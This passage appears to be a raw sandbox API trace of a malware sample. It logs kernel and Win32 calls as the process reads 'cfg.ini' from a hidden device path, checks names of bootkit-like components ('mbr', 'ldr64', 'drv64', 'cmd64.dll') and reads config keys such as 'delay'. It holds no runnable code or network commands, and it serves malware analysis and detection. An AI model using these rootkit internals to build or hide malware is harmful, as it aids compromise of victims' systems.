(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.789] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.789] IdePortDispatch () returned 0x103 [0120.789] KeWaitForMutexObject () returned 0x0 [0120.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.789] KeLeaveCriticalRegion () [0120.789] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.789] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.789] KeEnterCriticalRegion () [0120.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.789] KeLeaveCriticalRegion () [0120.789] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.789] KeEnterCriticalRegion () [0120.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.790] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.790] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.790] KeLeaveCriticalRegion () [0120.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.790] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.790] KeEnterCriticalRegion () [0120.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.790] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.790] KeLeaveCriticalRegion () [0120.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.790] ReleaseMutex (hMutex=0xf0) returned 1 [0120.790] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.790] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.790] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.790] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.790] KeEnterCriticalRegion () [0120.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.790] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.790] IdePortDispatch () returned 0x103 [0120.790] KeWaitForMutexObject () returned 0x0 [0120.790] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.790] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.790] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.790] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.790] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.790] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.790] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.790] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.790] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.790] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.791] KeLeaveCriticalRegion () [0120.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.791] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.791] KeEnterCriticalRegion () [0120.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.791] IdePortDispatch () returned 0x103 [0120.791] KeWaitForMutexObject () returned 0x0 [0120.791] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.791] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.791] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.791] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.791] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.791] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.791] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.791] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.791] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.791] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.791] KeLeaveCriticalRegion () [0120.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.791] ReleaseMutex (hMutex=0x100) returned 1 [0120.791] Sleep (dwMilliseconds=0x2bf20) [0120.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b33afd0, dwHighDateTime=0x1d24fa4)) [0120.798] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.798] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.798] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.798] KeEnterCriticalRegion () [0120.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.798] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.798] IdePortDispatch () returned 0x103 [0120.798] KeWaitForMutexObject () returned 0x0 [0120.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.799] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.799] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb440 [0120.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] KeLeaveCriticalRegion () [0120.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.799] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.799] KeEnterCriticalRegion () [0120.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] KeLeaveCriticalRegion () [0120.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.799] KeEnterCriticalRegion () [0120.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.799] IdePortDispatch () returned 0x103 [0120.799] KeWaitForMutexObject () returned 0x0 [0120.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] KeLeaveCriticalRegion () [0120.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.799] KeEnterCriticalRegion () [0120.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e1000 [0120.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.799] IdePortDispatch () returned 0x103 [0120.799] KeWaitForMutexObject () returned 0x0 [0120.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.800] IdePortDispatch () returned 0x103 [0120.800] KeWaitForMutexObject () returned 0x0 [0120.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.800] KeLeaveCriticalRegion () [0120.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.800] KeEnterCriticalRegion () [0120.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.800] KeLeaveCriticalRegion () [0120.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.801] KeEnterCriticalRegion () [0120.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] KeLeaveCriticalRegion () [0120.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.801] KeEnterCriticalRegion () [0120.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] ExFreePoolWithTag (P=0xfffffa8003bbb440, Tag=0x0) [0120.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] KeLeaveCriticalRegion () [0120.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.801] ReleaseMutex (hMutex=0xf0) returned 1 [0120.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.801] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.801] KeEnterCriticalRegion () [0120.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.801] IdePortDispatch () returned 0x103 [0120.801] KeWaitForMutexObject () returned 0x0 [0120.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.801] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.801] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.801] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.801] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.801] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.801] KeLeaveCriticalRegion () [0120.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.802] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.802] KeEnterCriticalRegion () [0120.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.802] KeLeaveCriticalRegion () [0120.802] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.802] KeEnterCriticalRegion () [0120.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.802] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.802] IdePortDispatch () returned 0x103 [0120.802] KeWaitForMutexObject () returned 0x0 [0120.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.802] KeLeaveCriticalRegion () [0120.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.802] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.802] KeEnterCriticalRegion () [0120.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e2000 [0120.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.802] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.802] IdePortDispatch () returned 0x103 [0120.802] KeWaitForMutexObject () returned 0x0 [0120.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.803] IdePortDispatch () returned 0x103 [0120.803] KeWaitForMutexObject () returned 0x0 [0120.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.803] KeLeaveCriticalRegion () [0120.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.803] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.803] KeEnterCriticalRegion () [0120.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.803] KeLeaveCriticalRegion () [0120.803] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.803] KeEnterCriticalRegion () [0120.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.803] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.803] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.803] KeLeaveCriticalRegion () [0120.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.804] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.804] KeEnterCriticalRegion () [0120.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] KeLeaveCriticalRegion () [0120.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.804] ReleaseMutex (hMutex=0xf0) returned 1 [0120.804] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.804] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.804] KeEnterCriticalRegion () [0120.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.804] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.804] IdePortDispatch () returned 0x103 [0120.804] KeWaitForMutexObject () returned 0x0 [0120.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.804] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.804] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.804] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.804] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.804] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb700 [0120.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.804] 